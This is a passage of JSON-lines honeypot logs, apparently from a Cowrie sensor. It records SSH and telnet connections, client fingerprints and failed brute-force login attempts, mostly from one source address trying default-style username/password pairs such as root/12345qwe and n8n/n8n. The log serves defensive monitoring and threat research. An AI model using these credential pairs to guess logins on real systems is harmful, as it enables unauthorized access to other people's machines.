16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:44.488120Z","src_ip":"141.11.88.14","session":"8011408f6e80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12","message":"login attempt [user/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:45.638320Z","src_ip":"141.11.88.14","session":"8011408f6e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.22128248214722,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:46.574631Z","src_ip":"94.23.66.112","session":"b36740ad9cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:46.911319Z","src_ip":"141.11.88.14","session":"8011408f6e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45186,"dst_ip":"10.17.0.5","dst_port":22,"session":"c10c319fa61c","protocol":"ssh","message":"New connection: 141.11.88.14:45186 (10.17.0.5:22) [session: c10c319fa61c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:50.354359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:50.366218Z","src_ip":"141.11.88.14","session":"c10c319fa61c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:50.459871Z","src_ip":"141.11.88.14","session":"c10c319fa61c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"moodle","password":"moodle","message":"login attempt [moodle/moodle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:50.783355Z","src_ip":"141.11.88.14","session":"c10c319fa61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:52.089247Z","src_ip":"141.11.88.14","session":"c10c319fa61c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.07073879241943,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:52.717403Z","src_ip":"128.199.8.54","session":"eb2374cd4d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0028d57e9af","protocol":"ssh","message":"New connection: 141.11.88.14:45240 (10.17.0.5:22) [session: d0028d57e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:55.845008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:56.099906Z","src_ip":"141.11.88.14","session":"d0028d57e9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:56.103226Z","src_ip":"141.11.88.14","session":"d0028d57e9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:57.556963Z","src_ip":"141.11.88.14","session":"d0028d57e9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60663056373596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:58.653162Z","src_ip":"172.81.62.90","session":"f85ec5d2222d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:07:58.684465Z","src_ip":"141.11.88.14","session":"d0028d57e9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48322,"dst_ip":"10.17.0.5","dst_port":22,"session":"08e16f9844cb","protocol":"ssh","message":"New connection: 141.11.88.14:48322 (10.17.0.5:22) [session: 08e16f9844cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:04.541477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:04.618013Z","src_ip":"141.11.88.14","session":"08e16f9844cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:04.730123Z","src_ip":"141.11.88.14","session":"08e16f9844cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:05.274914Z","src_ip":"141.11.88.14","session":"08e16f9844cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:06.375455Z","src_ip":"141.11.88.14","session":"08e16f9844cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17796,"dst_ip":"10.17.0.5","dst_port":22,"session":"85679963d2c5","protocol":"ssh","message":"New connection: 141.11.88.14:17796 (10.17.0.5:22) [session: 85679963d2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:11.762329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:11.791028Z","src_ip":"141.11.88.14","session":"85679963d2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:11.886439Z","src_ip":"141.11.88.14","session":"85679963d2c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"n8n","password":"n8n","message":"login attempt [n8n/n8n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:12.369640Z","src_ip":"141.11.88.14","session":"85679963d2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:13.456833Z","src_ip":"141.11.88.14","session":"85679963d2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"9134c23212d2","protocol":"telnet","message":"New connection: 172.81.62.90:46552 (159.203.135.109:23) [session: 9134c23212d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:16.461002Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39228,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e31189bede","protocol":"ssh","message":"New connection: 141.11.88.14:39228 (10.17.0.5:22) [session: 42e31189bede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:18.479186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:18.550675Z","src_ip":"141.11.88.14","session":"42e31189bede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:18.672409Z","src_ip":"141.11.88.14","session":"42e31189bede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:19.333935Z","src_ip":"141.11.88.14","session":"42e31189bede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:20.559469Z","src_ip":"141.11.88.14","session":"42e31189bede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41276,"dst_ip":"159.203.135.109","dst_port":23,"session":"b645c8ec9fa7","protocol":"telnet","message":"New connection: 128.199.8.54:41276 (159.203.135.109:23) [session: b645c8ec9fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:20.937999Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39292,"dst_ip":"10.17.0.5","dst_port":22,"session":"74aaa05fc455","protocol":"ssh","message":"New connection: 141.11.88.14:39292 (10.17.0.5:22) [session: 74aaa05fc455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:24.298177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:24.453456Z","src_ip":"141.11.88.14","session":"74aaa05fc455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:24.457142Z","src_ip":"141.11.88.14","session":"74aaa05fc455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password","message":"login attempt [test/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:25.073311Z","src_ip":"141.11.88.14","session":"74aaa05fc455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:26.403844Z","src_ip":"141.11.88.14","session":"74aaa05fc455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"76e5f85c678d","protocol":"telnet","message":"New connection: 172.81.62.90:46564 (159.203.135.109:23) [session: 76e5f85c678d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:26.778273Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11284,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc1c9d2c82f2","protocol":"ssh","message":"New connection: 141.11.88.14:11284 (10.17.0.5:22) [session: dc1c9d2c82f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:31.738819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:31.876922Z","src_ip":"141.11.88.14","session":"dc1c9d2c82f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:31.880326Z","src_ip":"141.11.88.14","session":"dc1c9d2c82f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49314,"dst_ip":"159.203.135.109","dst_port":23,"session":"788617e66d44","protocol":"telnet","message":"New connection: 172.81.62.90:49314 (159.203.135.109:23) [session: 788617e66d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:31.935195Z"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy","message":"login attempt [sammy/sammy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:32.586041Z","src_ip":"141.11.88.14","session":"dc1c9d2c82f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:33.839573Z","src_ip":"141.11.88.14","session":"dc1c9d2c82f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":11476,"dst_ip":"10.17.0.5","dst_port":22,"session":"1faf679b4fbb","protocol":"ssh","message":"New connection: 141.11.88.14:11476 (10.17.0.5:22) [session: 1faf679b4fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:40.816219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:08:40.994633Z","src_ip":"141.11.88.14","session":"1faf679b4fbb","protocol":"ssh"}
